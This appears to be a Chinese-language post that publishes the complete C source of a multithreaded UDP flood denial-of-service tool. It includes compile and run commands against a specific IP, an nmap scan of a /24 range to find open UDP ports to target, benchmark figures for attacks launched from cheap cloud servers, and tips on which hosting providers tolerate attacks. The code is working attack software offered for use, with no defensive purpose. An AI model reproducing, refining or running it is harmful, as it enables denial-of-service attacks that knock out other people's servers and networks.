攻击效果显著,所以暴露UDP端口也要选个偏门的啊.
/* * udpflood.c * 一个简单的UDP Flood攻击程序,用起来比任何软件都简单,更高效,会吃光所有CPU和网络性能. * * BUFLEN 定义网络MTU,越接近当前网络最大MTU性能最高. * CTHREAD 定义线程数,数量越多,越能利用带宽,服务器负载越高. * * 编译:gcc udpflood.c -lpthread -o udpflood * 使用:./udpflood -t 103.116.47.47 -p 29900 -g 5 (-t 指定目标 -p 指定端口 -g 指定发送流量GB) * NMAP扫描实用工具:nmap -p 29900 --open -sU 103.116.47.0/24 (扫描103.116.47.0/24 主机的UDP 29900,UDP是一个只要是开放,就可以被攻击的端口.) * 网络负载实用工具:nload -u H -U H (查看网络负载) * * 谨慎使用本软件,产生的各种毛病,纠纷,与我无关.滥用将会导致服务器因为滥用被关闭. * * 脚本实测数据 1:Linode $5 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 116MByte/s * 脚本实测数据 2:Vultr $2.5 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 96MByte/s * 脚本实测数据 3:Cloudcone $1.99 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 99MByte/s * * 请不要使用Virmach发起攻击,除非你想试试什么是严格的TOS. */ #include <stdio.h> #include <stdlib.h> #include <libgen.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <memory.h> #include <time.h> #include <pthread.h> #include <unistd.h> #include <ctype.h> #include <errno.h> #define BUFLEN 1350 #define CTHREAD 10 void diep(char *error); void *start_flood(void *arg); void *start_tick(void *arg); struct con_data { struct sockaddr_storage si_host; int sockfd; }; unsigned long long try = 1 * 1024 * 1024 * 1024; int try_gb = 5; int stop = 0; int main(int argc, char **argv) { int i = 0, c = 0, port = 29900; int family = AF_INET, protocol = IPPROTO_UDP; char *target = NULL; struct sockaddr_in *si_target = NULL; struct sockaddr_in6 *si_target6 = NULL; int ret, sock_buf_size, error; socklen_t optlen; struct addrinfo *res, *result, hints; char straddr[INET_ADDRSTRLEN] = ""; char straddr6[INET6_ADDRSTRLEN] = ""; pthread_t tick_t; pthread_t *flood_t = NULL; struct con_data info; opterr = 0; while((c = getopt(argc, argv, "t:6g:p:")) != -1) { switch(c) { case 't': /* 这个参数指定目标主机. */ target = optarg; break; case '6': /* 使用IPV6攻击 */ family = AF_INET6; break; case 'p': /* 攻击特定端口 */ port = atoi(optarg); break; case 'g': /* 攻击特定端口 */ try_gb = atoi(optarg) - 1; break; default: diep("看清楚说明再用本软件."); break; } } if( try_gb > 1024 || try_gb < 0) { diep("你指定要发送太多流量了,容易被判定Abuse."); } if(target == NULL) { diep("未指定被攻击主机."); } memset(&info, 0, sizeof(info)); si_target = (struct sockaddr_in *)&info.si_host; si_target6 = (struct sockaddr_in6 *)&info.si_host; optlen = sizeof(sock_buf_size); srand(time(0)); if ((info.sockfd = socket(family, SOCK_DGRAM, protocol)) == -1) { diep("无法创建socket~"); } memset(&hints, 0, sizeof(hints)); hints.ai_socktype = SOCK_DGRAM; hints.ai_family = family; if(inet_pton(AF_INET6, target, &si_target6->sin6_addr) == 0) { if(inet_pton(AF_INET, target, &si_target->sin_addr) == 0) { /* 解释域名. */ error = getaddrinfo(target, NULL, &hints, &result); if (error != 0) { return EXIT_FAILURE; } for(res = result; res != NULL; res = res->ai_next) { info.si_host = *((struct sockaddr_storage *)res->ai_addr); break; } freeaddrinfo(result); switch(family) { case AF_INET: inet_ntop(AF_INET, &si_target->sin_addr, straddr, sizeof(straddr)); break; case AF_INET6: inet_ntop(AF_INET6, &si_target6->sin6_addr, straddr6, sizeof(straddr6)); break; } } } switch(family) { case AF_INET: si_target->sin_port = htons(port); break; case AF_INET6: si_target6->sin6_port = htons(port); break; } ret = getsockopt(info.sockfd, SOL_SOCKET, SO_SNDBUF, (char *) & sock_buf_size, &optlen); if (ret == -1) diep("网络参数获取失败."); flood_t = (pthread_t *)malloc(sizeof(pthread_t) * CTHREAD); for(i = 0; i < CTHREAD; i++) { /* 创建攻击线程 */ pthread_create(&flood_t[i], NULL, start_flood, &info); pthread_detach(flood_t[i]); } /* 创建监控 */ pthread_create(&tick_t, NULL, start_tick, NULL); pthread_detach(tick_t); fflush(stdout); while (stop == 0) { sleep(1); } for(i = 0; i < CTHREAD; i++) { pthread_cancel(flood_t[i]); } pthread_cancel(tick_t); free(flood_t); shutdown(info.sockfd, SHUT_RDWR); printf("已停止攻击. "); return (EXIT_SUCCESS); } void diep(char *error) { fprintf(stderr, "%s: %s ", error, gai_strerror(errno)); exit(EXIT_FAILURE); } void *start_flood(void *arg) { char buffer[BUFLEN] = ""; int i = 0; struct con_data info = *((struct con_data *)(arg)); memset(buffer, 0, sizeof (buffer)); for (i = 0; i < BUFLEN; i++) { buffer[i] = (char) rand() % 255; } while (1) { if(try > BUFLEN) { try -= BUFLEN; } else { if(try_gb > 0) { try = try + 1 * 1024 * 1024 * 1024 - BUFLEN; try_gb--; } else { try = 0; } } if (sendto(info.sockfd, buffer, BUFLEN, 0, (struct sockaddr *)&info.si_host, sizeof(info.si_host)) == -1) { diep("对方主机已关闭该端口."); } } } void *start_tick(void *arg) { unsigned long long last_try = try; int last_try_gb = 0; int i = 0; sleep(1); while (1) { if(last_try_gb != try_gb) /* 意味着一个GB发走了. */ { last_try = last_try + 1 * 1024 * 1024 * 1024; } printf("攻击剩余 %d GB %llu MB ,每秒有效速率 %llu KB... ", try_gb, (try / 1024 / 1024), ((last_try - try) / 1024)); fflush(stdout); if(try == 0 && try_gb == 0) { stop = 1; } else { last_try = try; last_try_gb = try_gb; } sleep(1); } }